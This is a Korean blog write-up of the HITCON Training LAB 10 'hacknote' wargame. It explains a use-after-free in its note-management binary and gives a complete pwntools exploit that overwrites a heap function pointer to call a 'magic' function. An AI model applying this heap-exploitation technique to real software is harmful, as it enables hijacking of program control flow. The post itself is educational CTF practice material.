블로그 이전했습니다. https://jeongzero.oopy.io/
[Hicon training] LAB 10
본문 바로가기
워게임/Hitcon training

[Hicon training] LAB 10

728x90

 

1. 문제


1) mitigation 확인 

카나리와 NX가 걸려있다 

 

 

 

2) 문제 확인 

노트를 입력, 삭제, 출력 하는 메뉴가 나온다. 전형적인 힙 문제의 형태이다. 

 

 

 

3) 코드흐름 파악 

  • add_note함수
    ...
    if ( count <= 5 )
      {
        for ( i = 0; i <= 4; ++i )
        {
          if ( !notelist[i] )
          {
            notelist[i] = malloc(8u);
            if ( !notelist[i] )
            {
              puts("Alloca Error");
              exit(-1);
            }
            *(_DWORD *)notelist[i] = print_note_content;
            printf("Note size :");
            read(0, &buf, 8u);
            size = atoi(&buf);
            v0 = notelist[i];
            v0[1] = malloc(size);
            if ( !*((_DWORD *)notelist[i] + 1) )
            {
              puts("Alloca Error");
              exit(-1);
            }
            printf("Content :");
            read(0, *((void **)notelist[i] + 1), size);
            puts("Success !");
            ++count;
            return __readgsdword(0x14u) ^ v5;
          }
        }
      }
    ...

    우선 add_note()는 5번 밖에 못한다. add_note가 처음 호출되면, 8바이트 크기 malloc이 먼저 진행되고, 그 주소를 notelist 배열에 담는다. 그다음, print_note_content 함수 포인터를 힙 영역에 저장을 한다. 

     

    그 뒤, 사용자가 입력한 사이즈 만큼 malloc을 하여 notelist가 가리키고 있는 위치 +4에다가 그 할당받은 주소를 넣는다. 그리고 read함수로 *notelist+4의 위치에 content를 입력한다. 

     

 

  • del_note함수
    unsigned int del_note()
    {
      int v1; // [esp+4h] [ebp-14h]
      char buf; // [esp+8h] [ebp-10h]
      unsigned int v3; // [esp+Ch] [ebp-Ch]
    
      v3 = __readgsdword(0x14u);
      printf("Index :");
      read(0, &buf, 4u);
      v1 = atoi(&buf);
      if ( v1 < 0 || v1 >= count )
      {
        puts("Out of bound!");
        _exit(0);
      }
      if ( notelist[v1] )
      {
        free(*((void **)notelist[v1] + 1));
        free(notelist[v1]);
        puts("Success");
      }
      return __readgsdword(0x14u) ^ v3;
    }

    삭제하려는 notelist의 인덱스가 정상인지 확인을 한다. 정상적인 인덱스를 입력하였다면, content를 담고 있는 청크를 먼저 free하고 그다음 함수포인터를 저장하고 있는 청크를 free한다. 

 

 

  • print_note 함수
    unsigned int print_note()
    {
      int v1; // [esp+4h] [ebp-14h]
      char buf; // [esp+8h] [ebp-10h]
      unsigned int v3; // [esp+Ch] [ebp-Ch]
    
      v3 = __readgsdword(0x14u);
      printf("Index :");
      read(0, &buf, 4u);
      v1 = atoi(&buf);
      if ( v1 < 0 || v1 >= count )
      {
        puts("Out of bound!");
        _exit(0);
      }
      if ( notelist[v1] )
        (*(void (__cdecl **)(void *))notelist[v1])(notelist[v1]);
      return __readgsdword(0x14u) ^ v3;
    }

    출력하고 싶은 인덱스를 입력하면, 그 인덱스에 들어있는 함수포인터를 호출한다. 

     

 

 

2. 접근방법


우리에게 magic 함수가 주어졌다. 이 문제는 UAF를 이용한 문제이다. 전에 비슷한 문제를 풀었기 때문에 바로 접근해보자. 

 

add_note 함수가 한번 호출될 때마다, 청크는 두개씩 할당된다. 함수포인터를 저장하기 위한 청크와 사용자가 입력한 사이즈 만큼 할당받은 청크 이렇게 두개이다. 

 

함수포인터를 저장하는 청크는 고정 값 malloc(8)으로 만들어진다. 사용자가 3번 메뉴를 클릭하면 위 사진에서 '함수포인터저장 ' 이 청크 주소를 가져가서 출력을 해주고, 사용자가 입력하는 컨텐트는 '데이터 저장' 이 청크 주소가 가리키는 위치에 들어간다. 

 

따라서 우리는 UAF를 이용해서 저 함수포인터가 저장되어 있는 공간을, 사용자가 입력받는 공간으로 재할당 받게 하여, magic 함수 주소를 넣어두고, 3번 메뉴를 통해 print를 시키면 magic 함수가 실행되게 할 것이다. 

 

 

시나리오 

  1. add(32)크기로 3개의 청크를 만든다
  1. del(0), del(1), del(2) 순으로 free를 시킨다
  1. add(8)을 한번더 한다

     

32는 fasbin size이므로 LIFO 형태로 들어간다. 따라서  

요런 형태로 free 청크가 들어간다. 여기서 3번 add(8)을 하게 되면, 함수포인터를 저장하기 위해 내부적으로 고정 8바이트로 malloc하는 것 하나랑, 사용자가 입력한 사이즈로 malloc한거 둘다 8바이트이므로,  

 

0x8a1f070 청크를 가지고, 함수포인터 저장을 위한 청크 재할당을 할테고, 0x8a1f038 청크를 가지고 요청 사이즈를 위한 청크 재할당을 할 것이다.  

따라서 *notelist[3]+4 위치가 사용자가 요청한 8사이즈를 위해 할당받은 청크 주소이다. 저기는 인덱스 1의 함수포인터가 들어있는 위치이므로, 여기서 입력을 하면 저 0x8a1f000 값이 덮혀질것이다. 이 부분을 magic함수로 덮으면 끝이다 

 

잘 들어갔다. 이제 print_note 함수를 호출하여 인덱스 1을 입력하면 된다 

 

 

 

3. 풀이


최종 익스코드는 다음과 같다 

from pwn import *

p=process("./hacknote")
gdb.attach(p,'code\nb *0x676+$code\n')

def add_(size,content):
        p.sendlineafter("choice :","1")
        p.sendafter("size :",str(size))
        p.sendlineafter("Content :",str(content))

def del_(index):
        p.sendlineafter("choice :","2")
        p.sendafter("Index :",str(index))

def print_(index):
        p.sendlineafter("choice :","3")
        p.sendafter("Index :",str(index))

add_(32,"AA")
add_(32,"BB")
add_(32,"CC")

del_(0)
del_(1)
del_(2)

add_(8,p32(0x08048986))

print_(1)

p.interactive()

 

 

 

 

 

4. 몰랐던 개념


  • none

 

728x90

'워게임 > Hitcon training' 카테고리의 다른 글

[Hicon training] LAB 12  (0) 2020.04.21
[Hicon training] LAB 11  (0) 2020.04.20
[Hicon training] LAB 9  (0) 2020.04.16
[Hicon training] LAB 8  (0) 2020.04.15
[Hicon training] LAB 7  (0) 2020.04.15